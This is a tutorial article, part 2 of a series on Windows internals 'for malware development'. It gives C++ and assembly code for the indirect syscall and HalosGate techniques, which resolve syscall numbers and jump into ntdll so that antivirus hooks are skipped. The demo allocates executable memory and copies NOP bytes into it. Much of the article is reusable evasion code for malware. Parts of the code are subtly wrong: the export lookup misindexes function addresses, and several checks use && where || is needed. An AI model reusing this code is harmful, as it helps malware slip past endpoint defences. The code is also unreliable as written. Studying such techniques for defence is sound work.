Intro to Syscalls & Windows internals for malware development Pt.2
Hello everyone, this article is the continuation of part 1 and will mainly focus on the practical aspect of what we’ve been talking about on the previous part. For this article, I created a C++ program which Implements the “Indirect Syscall” technique, which is a topic that was discussed towards the end of part 1 and is considered more modern then the “Direct Syscall” technique.
If you would like to refresh your memory on the topics, here is a link to Part 1 of the series:
Intro to Syscalls & Windows internals for malware development Pt.1
The “Indirect Syscall” program I created is divided to the following functions: — A function that will parse the Export Address Table of all of the ntdll.dll” and return the address of a required function
A function which will get the SSN (System Service Number) of a desired hooked Native API function by implementing the “HalosGate” technique (this technique was discussed in part 1 of the article). The function will return the SSN of the function.
A function which will get the SSN of an unhooked function
A function which will get the “syscall” instruction’s address of the Native API function within ntdll.dll.
A function which will check if the function is hooked or not.
An external assembly file which will actually implement the indirect syscall with the SSN and the “syscall” instruction’s address within the ntdll.dll which will be executed in the C++ function.
The first function we’ll take a look at is the function which will parse the Export Address Table. The Export Address Table is a table which holds information about exported functions within a PE. The Export Address Table is mainly used in DLLs for exporting functions for external use.
Viewing the PE format of ntdll.dll through a PE format parser such as “CFF Explorer”:
We can see that the PE format holds multiple headers such as DOS Header, Nt Headers (which includes: File Header, Optional Header, and Data Directories) and more entries that are less relevant for us in this article.
The main thing that is interesting for us is the “Data Directories” and the “Export Directory”.
The “Data Directories” holds the RVA (Relative Virtual Address) and sizes of directories that resides within the PE such as Export Directory, Resource Directory, TLS Directory, Import Directory, etc…
The main thing that is interesting in the Data Directories for our purpose is the “Export Directory RVA” field, which includes the Relative Virtual Address to the start of the Export Address Table.
RVA (Relative Virtual Address) is not a regular Virtual address within the virtual address space of a process, RVA is the offset to a specific location within the virtual address space of a process from the image base address.
After having that understanding, let’s take a look at the function implementation:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
FARPROC GetFuncAddress(HMODULE handle, const char* APIFunction)
{
PVOID moduleBase = (PVOID)handle;
PIMAGE_DOS_HEADER pDosHeaders = (PIMAGE_DOS_HEADER)moduleBase;
PIMAGE_NT_HEADERS64 pNtHeaders = (PIMAGE_NT_HEADERS64)((BYTE*)moduleBase + pDosHeaders->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeaders = &pNtHeaders->OptionalHeader;
PIMAGE_DATA_DIRECTORY pExportDirectory = (PIMAGE_DATA_DIRECTORY)&pOptionalHeaders->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
PIMAGE_EXPORT_DIRECTORY ExportAddressTable = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)handle + pExportDirectory->VirtualAddress);
PDWORD FuncAddresses = (PDWORD)((BYTE*)handle + ExportAddressTable->AddressOfFunctions);
PDWORD NameAddresses = (PDWORD)((BYTE*)handle + ExportAddressTable->AddressOfNames);
DWORD NumberOfFunctions = ExportAddressTable->NumberOfFunctions;
char* FuncName;
for (DWORD i = 0; i < NumberOfFunctions; i++)
{
FuncName = reinterpret_cast<char*>(pOptionalHeaders->ImageBase + NameAddresses[i]);
if (strcmp(FuncName, APIFunction) == 0)
{
return (FARPROC)(pOptionalHeaders->ImageBase + FuncAddresses[i+1]);
}
}
return NULL;
}
The function starts from the base address of the image, running through the DOS Headers, NT Headers, and gets into the Data Directories, from which it extracts the RVA of the Export Address Table and adds the value to the image base address within the virtual address space:
1
ExportAddressTable = ImageBase + ExportDiretory->VirtualAddress
This is how the Export Directory looks like within the CFF Explorer:
It has 3 main members which are most interesting for us:
AddressOfFunctions — holds the RVA to the start address of the function addresses within the Export Address Table.
AddressOfNames — holds the RVA to the start address of the names of the functions within the Export Address Table.
NumberOfFunctions — holds the number of exported functions within the Export Address Table. Because the “AddressOfFunctions” and “AddressOfNames” are RVAs, we need to perform the following calculations to get to their actual addresses:
1
2
FunctionAddresses = ImageBase + AddressOfFunctions
FunctionNames = ImageBase + AddressOfNames
After having the base addresses of both Function Addresses and Function Names within the Export Address Table, the function now iterates over each function name and address within the table, and compared the function name argument, which is the Native API function that we would like to implement using the “Indirect Syscall” technique with the currently iterated function in the Export Address Table. if there is a match between the function names, the function will return the Function address location within the ntdll.dll” within the virtual address space of the process.
Another thing to note is that each function address that we iterates on within the Export Address Table is also a RVA, which means that in order to return the correct function address we’ll need to return:
1
ImageBase + FunctionAddress[i]
After having the base address of the function, the next thing we’ll need to do is to get the SSN of the target function. To understand how to do that, we’ll first need to remind ourselves how a Native API function is built within the ntdll.dll.
For our example, we’ll view the “NtAllocateVirtualMemory()” function, which is a Native API function that is used for allocating virtual memory within the virtual address space of a process:
For those of you who are unfamiliar with a disassembler, I’ll try to simplify that as much as possible. The first thing that we see on the left is the current section we’re currently in, in our case it is the “.text” section. Followed by a “:” is the address we’re currently in — in this case it’s “0x000000018009D140”.
The thing that comes after is really important for us and is called an “opcode”. “opcode” is short for Operational Code, every opcode is a byte size and it is a hexadecimal value that is used to represent an operation (assembly instruction) or a number and when being disassembled, it’s automatically being converted to assembly instructions as we can see on the right side of the image.
After having that understanding, let’s go line by line and see what happens when the function is being executed.
The first instruction is “mov r10, rcx” (with the opcodes of: 4C 8B D1), as we can recall from part 1 of the article, the calling convention of x64 architecture is:
- rcx — first argument of a function.
- rdx — second argument of a function.
- r8 — third argument of a function.
- r9 — fourth argument of a function.
If there are more than 4 arguments passed to the function, they will reside within the stack. 5th argument will be on [rsp+28] and so on…
In the case of the first , it means that the first argument of the function (rcx) is being moved to the “r10” register, I haven’t found an official reason for why it occurs, but from my understanding, rcx might be modified during the execution so it needs a safer register to store the first argument without losing it during execution.
The second instruction is “mov eax, 18h” (with the opcodes of: B8 18 00 00 00) and that’s interesting for us, the 0x18h is the SSN number that is being transferred to the eax register and then, when transferring execution to kernel mode through the “syscall” instruction, the SSDT will use that number as an index to get into the correct kernel subroutine that resides in the executive subsystem (“ntoskrnl.exe”). In the next article, I’ll touch more in depth about the kernel side of the execution after executing the “syscall” instruction with practical examples.
The third and fourth instructions are less relevant for us and more relevant to old Windows operating systems so I won’t go into that.
The 5th instruction is the “syscall” instruction (with the opcodes of: 0F 05), which we’ll use in order to find it’s address and perform the indirect syscall technique. The difference between the direct syscall and the indirect syscall is the location from where we call the “syscall” instruction, if we’ll call the “syscall” instruction within the assembly function we manually write (we’ll see that assembly function later in the article), then the execution will be implemented with the “direct syscall” technique. If we’ll jump to the “syscall” instruction’s address within the real implementation of the function which is the virtual address space of the ntdll inside process, then the execution will be the “indirect syscall” which is what we’re currently doing.
With that said, the 2 things we’ll need to find are:
System Service Number (hooked/unhooked).
The address of the “syscall” instruction within the function.
We currently have the base address of the target Native API function we want to execute using the Indirect Syscall technique.
The next function we’ll see is the function that will resolve the SSN of an unhooked function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
char* GetSyscallNumberNotHooked(unsigned char* OpCode)
{
/*
Function which returns the SSN of a function
and checks whether the SSN < 0x100, if so returns the 5th byte of the OpCodes
else, takes the 4th location and convert that to a word, which will return
the SSN that is 3 figures.
*/
unsigned char Syscall;
if (OpCode[5] == 0x00)
{
return (char *)OpCode[4];
}
unsigned int* syscall = (unsigned int*)(OpCode + 4);
int SyscallNumber = *(syscall);
return (char*)SyscallNumber;
}
The function takes as an argument an “unsigned char *Opcode” variable, this is the variable that will hold the opcodes of the Native API function we’re targeting. You’re probably asking, how do we convert the address we got from the Export Address Table to an “unsigned char *” type and why?
The answers for these questions will be simply answered in this code:
1
2
3
4
5
6
7
8
/*----This is used to view the opcodes of the extracted function----*/
unsigned char* OpCode = (unsigned char*)FunctionAddress;
printf("\nOpCodes of %s:\n", FuncName);
for(int i = 0; i < 24; i++)
{
printf("%02X ", OpCode[i]);
}
/*----This is used to view the opcodes of the extracted function----*/
Opcodes are byte sized, same as a “char” type, taking the function address and casting it into an “unsigned char *” format will easily allow us to view the opcodes of the Native API function we’re targeting, and to prove that, the “for” loop in the image will print the first 24 opcodes of the Native API, which should be enough to view all of the opcodes until the “ret” instruction (at least for an unhooked functions):
We can compare these to what we’ve seen in IDA pro and see that it’s actually the same.
At the 5th location, we can see the SSN that we desire to get (0x18), and because this is a simple unhooked function that is less then 0x100 it should be as simple as returning opcode[4] (index is starting at 0) and that should be it.
The next thing we need to take into consideration is what if the opcode is bigger than 0x99 and includes 3 digits SSN? To understand how it might affect us, here is an example of a 3 digits SSN:
This is an example of a Native API function that has a SSN of 0x115. If we’ll view the opcodes, we can see that the SSN is being written into 2 bytes (15 01). This means that we’ll need to find a way to get the SSN from the 2 bytes.
To overcome that, the first “if” statement in the “GetSyscallNumberNotHooked()” function (shown above) is checking if the 6th opcode is 00 to confirm that the SSN is constructed out of 2 digits, if so it simply returns “OpCode[4]”. If not, the location of “OpCode + 4” (Which is that start location of the 3 digits opcode) will be converted into an int, dereferenced, and returned as a (*char **) type. This will solve the 3 digits SSN.
Until now we did the following:
Extracted base address of a function from ntdll’s Export Address Table.
Extracted SSN from an unhooked function.
The next thing we’re going to do is to check if the Native API function we’re targeting is hooked, I implemented the check in 2 ways:
First thing is to check whether it has a regular start opcodes of “mov r10, rcx”, which has the opcodes “4C 8B D1 00”.
Second thing is to check if anywhere in the Native API function there is a opcode of “E9” which is a “jmp” instruction opcode that confirms hooking. If a Native API function includes an uncoditional “jmp” statement, it means that some AV injected it’s own DLL during process initialization and during the Native API fucntion execution, the execution will jump into the AVs code, determine the context of the execution and will alert if it seems to be malicious. The reason why we do the “Indirect syscall” technique is to avoid that “jmp” instruction and still call the “syscall” instruction from it’s original location.
If one of the conditions is true it means that the function is hooked and we’ll overcome that using the “HalosGate” technique, which we’ll see in the next function.
This is the function that performs the checking of the hooking conditions:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
BOOL IsFunctionHooked(const char * FuncName, unsigned char * OpCode)
{
bool check1 = true;
bool check2 = true;
if (OpCode[0] != 0x4c && OpCode[1] != 0x8B && OpCode[2] != 0xD1)
{
check2 = false;
}
for (int i = 0; i < 24; i++)
{
if (OpCode[i] == 0xe9) //0xe9 == jmp instruction opcode which means that the function is hooked
{
check1 = false;
break;
}
}
if(check1 && check2)
{
printf("[+] %s function is not hooked\n", FuncName);
return false;
}
printf("[-] %s function is hooked\n", FuncName);
return true;
}
If the function is hooked, we’ll implement the “HalosGate” technique which was discussed in the previous part of the article. The “HalosGate” will check the SSNs of the neighbor functions and through their values will determine the SSN. Because the SSNs are in an incremental steps, we can infer our SSN through viewing the neighbor function’s SSNs.
The function before the “NtAllocateVirtualMemory” (which is the function we’re going to execute with the “indirect syscall” technique) is the “NtQueryValueKey” and resides at address “0x000000018009D120”:
and the NtAllocateVirtualMemory function is at address “0x000000018009D140”. Subtracting that function with our function will return the offset between the functions which is 0x20.
Same offset goes to the function that follows our function at address “0x000000018009D160”:
After resolving their addresses, we can easily find the neigbors function’s SSNs as we did previously:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
char *GetSyscallNumberHooked(FARPROC FuncAddress1, FARPROC FuncAddress2)
{
unsigned char* OpCode1 = (unsigned char*)FuncAddress1;
unsigned char* OpCode2 = (unsigned char*)FuncAddress2;
unsigned char Syscall1;
unsigned char Syscall2;
/* An if statement which checks if the SSN < 0x100 */
if (OpCode1[5] == 0x00 && OpCode2[5] == 0x00) {
Syscall1 = OpCode1[4];
Syscall2 = OpCode2[4];
printf("Syscall Number in the function Before: 0x%02X\n", Syscall1);
printf("Syscall Number in the function after: 0x%02X\n", Syscall2);
return (char*)(Syscall1 + 1);
}
unsigned int* syscall_expanded1 = (unsigned int*)(OpCode1 + 4);
unsigned int* syscall_expanded2 = (unsigned int*)(OpCode2 + 4);
printf("\nSpecial Syscall Number in the function Before: 0x%02X\n", *syscall_expanded1);
printf("Special Syscall Number in the function After: 0x%02X\n", *syscall_expanded2);
int SyscallNumber = *(syscall_expanded1)+1;
return (char*)SyscallNumber;
}
In our case, the function is not hooked, but if it was the result will be:
From that, the function will infer that the SSN is 0x18 and the function will return 0x18.
Until now we have:
A function that Extracts base address of the function through Export Address Table.
A function that checks if a function is hooked/unhooked.
A function that returns an hooked function’s SSN.
A function that returns an** unhooked function’s SSN**.
The next thing we need to do is to get the “syscall” instruction’s address within the function we’re targeting.
To do that, I created a function that will take the base address of the function, iterate over the opcodes within that function and compare the syscall’s instruction opcodes (“0F 05”) to the current iterated opcodes, and return the address where syscall’s opcodes reside. If the opcodes don’t match to the syscall’s opcodes, then the “OpCode” variable will be increased by 1 until we’ll get to the correct address. When the opcodes will match, the right address will return:
1
2
3
4
5
6
7
8
9
10
11
PVOID GetSyscallAddress(FARPROC address)
{
unsigned char* OpCode = (unsigned char*)address;
while(OpCode[0] != 0x0F && OpCode[1] != 05)
{
address = (FARPROC)((UINT_PTR)address+1);
OpCode = (unsigned char*)address;
}
return address;
}
Checking if that correct on visual studio’s disassembler, and we can confirm that the address is correct and pointing to the “syscall” instruction:
After having all we need, we’re going to take a look at the main() function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <iostream>
#include "windows.h"
#include "winternl.h"
#include "SyscallsNumbers.h"
extern "C" UINT_PTR syscall_address = 0;
extern "C" DWORD syscall_value = 0;
extern "C" NTSTATUS MyNtAllocateVirtualMemory(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
int main()
{
PVOID BaseAddress;
SIZE_T buffSize;
ULONG ZeroBits;
char hexchars[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
const char* FuncName = "NtAllocateVirtualMemory";
HMODULE hModule = LoadLibraryA("ntdll.dll");
FARPROC FunctionAddress = GetFuncAddress(hModule, FuncName);
/*----This is used to view the opcodes of the extracted function----*/
unsigned char* OpCode = (unsigned char*)FunctionAddress;
printf("\nOpCodes of %s:\n", FuncName);
for(int i = 0; i < 24; i++)
{
printf("%02X ", OpCode[i]);
}
/*----This is used to view the opcodes of the extracted function----*/
printf("\n\n");
if (IsFunctionHooked(FuncName, OpCode)) {
FARPROC FunctionAddress1 = (FARPROC)((UINT_PTR)(FunctionAddress)-0x20); // Address of function before it
FARPROC FunctionAddress2 = (FARPROC)((UINT_PTR)(FunctionAddress)+0x20); // Address of function after it
syscall_address = (UINT_PTR)GetSyscallAddress(FunctionAddress);
printf("Function before address: 0x%p\n", FunctionAddress1);
printf("Function after address: 0x%p\n\n", FunctionAddress2);
printf("%s Function Address: 0x%p\n", FuncName, FunctionAddress);
printf("%s Syscall Address: 0x%p\n\n", FuncName, syscall_address);
syscall_address = (UINT_PTR)GetSyscallAddress(FunctionAddress);
syscall_value = (DWORD)GetSyscallNumberHooked(FunctionAddress1, FunctionAddress2); // need to fix that
printf("\nhooked %s function syscall: 0x%x\n", FuncName, syscall_value);
printf("hooked %s syscall address: 0x%p\n", FuncName, syscall_address);
BaseAddress = NULL;
buffSize = 0x1000;
ZeroBits = 0;
NTSTATUS Result = MyNtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&BaseAddress, (ULONG_PTR)0, &buffSize,
(ULONG)(MEM_COMMIT | MEM_RESERVE),PAGE_EXECUTE_READWRITE);
memcpy(BaseAddress, hexchars, sizeof(hexchars));
printf("NTSTATUS VALUE: %d\n", Result);
printf("Allocated address at: 0x%p\n", BaseAddress);
printf("\n");
}
else
{
syscall_address = (UINT_PTR)GetSyscallAddress(FunctionAddress);
syscall_value = (DWORD)GetSyscallNumberNotHooked(OpCode);
printf("\nunhooked %s function syscall: 0x%x\n", FuncName, syscall_value);
printf("unhooked %s syscall address: 0x%p\n", FuncName, syscall_address);
BaseAddress = NULL;
buffSize = 0x1000;
ZeroBits = 0;
NTSTATUS Result = MyNtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&BaseAddress, (ULONG_PTR)0, &buffSize,
(ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
memcpy(BaseAddress, hexchars, sizeof(hexchars));
printf("\nNTSTATUS VALUE: %d\n", Result);
printf("Allocated address at: 0x%p\n", BaseAddress);
printf("\n");
}
return 0;
}
The first 2 lines with the “extern” keyword within them will hold the SSN value and the original syscall instruction’s address and will be used in the assembly code we’ll soon see. The assembly code is our implementation of the NtAllocateVirtualMemory() function and because it is being implemented in an external assembly code, I’ve used the extern “C”.
These are the parameters of the NtAllocateVirtualMemory() function:
1
2
3
4
5
6
7
8
__kernel_entry NTSYSCALLAPI NTSTATUS NtAllocateVirtualMemory(
[in] HANDLE ProcessHandle,
[in, out] PVOID *BaseAddress,
[in] ULONG_PTR ZeroBits,
[in, out] PSIZE_T RegionSize,
[in] ULONG AllocationType,
[in] ULONG Protect
);
NtAllocateVirtualMemory() MSDN
At the start of the main() function, I created a variables that will be used as an arguments to the MyNtAllocateVirtualMemory(). Then, I received a handle to “ntdll.dll” module using the LoadLibraryA() WinAPI function and got the base address of “NtAllocateVirtualMemory()”:
1
2
3
4
5
6
7
8
9
10
11
int main()
{
PVOID BaseAddress;
SIZE_T buffSize;
ULONG ZeroBits;
char hexchars[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
const char* FuncName = "NtAllocateVirtualMemory";
HMODULE hModule = LoadLibraryA("ntdll.dll");
FARPROC FunctionAddress = GetFuncAddress(hModule, FuncName);
Next thing I did is created an “if” statement that will check whether the function we’re targetting is hooked by an AV. To verify that I used the IsFunctionHooked() function, which is the function we’ve seen previously.
If the function is hooked, we’ll add 0x20 to get to the next function that comes after the “NtAllocateVirtualMemory()” function and subtract 0x20 to get to the previous function before NtAllocateVirtualMemory()”.
Having these 2 neigbor’s function addresses, I called GetSyscallNumberHooked() which is the function where we implemented the HalosGate technique previously. Another call is to the “GetSyscallAddress()” which is the function we’ve seen that resolves the **syscall’s **instruction address.
Having all of that, I defined 3 arguments (BaseAddress, buffSize, ZeroBits) that will be used in the MyNtAllocateVirtualMemory() function, which is the indirect syscall implementation of the NtAllocateVirtualMemory()” function.
Here is the assembly code I created that will implement the Indirect syscall:
EXTERN syscall_value:DWORD
EXTERN syscall_address:QWORD
.code
public MyNtAllocateVirtualMemory
MyNtAllocateVirtualMemory proc
mov r10, rcx
mov eax, [syscall_value]
jmp qword ptr[syscall_address]
ret
MyNtAllocateVirtualMemory endp
end
s we can see, it’s pretty much the same as the original Native API function, but the location from which it’s being executed is different (at least until the “jmp” instruction which will direct the flow of execution to the syscall’s instruction of the original NtAllocateVirtualMemory() within ntdll.dll).
After executing that, a NTSTATUS result will be returned (NTSTATUS is a type that returns information about the exection status, whether it succeeded or not), a base address to the allocated memory will be also returned, and to that location, a bunch of NOPs (No Operation opcode, which performing no operation and has the value of 0x90) will be copied to the allocated address using “memcpy()”:
1
2
3
4
5
6
7
8
9
10
11
12
BaseAddress = NULL;
buffSize = 0x1000;
ZeroBits = 0;
NTSTATUS Result = MyNtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&BaseAddress, (ULONG_PTR)0, &buffSize,
(ULONG)(MEM_COMMIT | MEM_RESERVE),PAGE_EXECUTE_READWRITE);
memcpy(BaseAddress, hexchars, sizeof(hexchars));
printf("NTSTATUS VALUE: %d\n", Result);
printf("Allocated address at: 0x%p\n", BaseAddress);
printf("\n");
}
The content that is being copied into the allocated address (for demonstration purposes):
1
char hexchars[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
After that, there is the “else” statement which does the same with just the regular way of retrieving an unhooked SSN:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
else
{
syscall_address = (UINT_PTR)GetSyscallAddress(FunctionAddress);
syscall_value = (DWORD)GetSyscallNumberNotHooked(OpCode);
printf("\nunhooked %s function syscall: 0x%x\n", FuncName, syscall_value);
printf("unhooked %s syscall address: 0x%p\n", FuncName, syscall_address);
BaseAddress = NULL;
buffSize = 0x1000;
ZeroBits = 0;
NTSTATUS Result = MyNtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&BaseAddress, (ULONG_PTR)0, &buffSize,
(ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
memcpy(BaseAddress, hexchars, sizeof(hexchars));
printf("\nNTSTATUS VALUE: %d\n", Result);
printf("Allocated address at: 0x%p\n", BaseAddress);
printf("\n");
}
return 0;
}
Finally, let’s Debug the code and see if the memory was allocated and the NOPs we’re copied into the allocated memory.
For that, I setted a breakpoint at the start of the assembly execution and at the last line of the C++ code.
Starting the debugging and continuing the execution until the “jmp” instruction:
We can see the “rax” register which should hold the SSN for “NtAllocateVirtualMemory()” function holds 0x18, which confirms that the SSN was passed successfully (NtAllocateVirtualMemory() indeed has the SSN of 0x18).
Now we’ll execute the “jmp” instruction which should navigate the execution to the “syscall” instruction within the NtAllocateVirtualMemory() inside the ntdll:
As we can see, the execution is currently at the “syscall” instruction within the virtual address of ntdll as required, which confirms that the address resolving was also successful. Executing that will transfer execution to the kernel mode, continue execution from there and at the end allocate the memory into the virtual address space of the current process.
Continuing execution until the last line and viewing the command window in the following image, we can see that the NTSTAUS result was 0, which means that the allocation was executed successfully, and the second thing we printed is the base address to the allocated location:
After having the allocated memory’s base address, we’ll open a “Memory 1” window in the visual studio’s debugging session, which holds the hex dump view of the virtual address space of the executed process, and we’ll copy the allocated address to there.
If the memory allocation and the memory writing was successful, we should see many 0x90’s inside the allocated memory. And indeed, the call was successful and the memory was allocated through implementing the indirect syscall technique.
That will be it for this article and for the indirect syscall technique. I haven’t seen anyone who gets that deep into details about the technique so I thought it would be a good chance to explain as detailed as possible.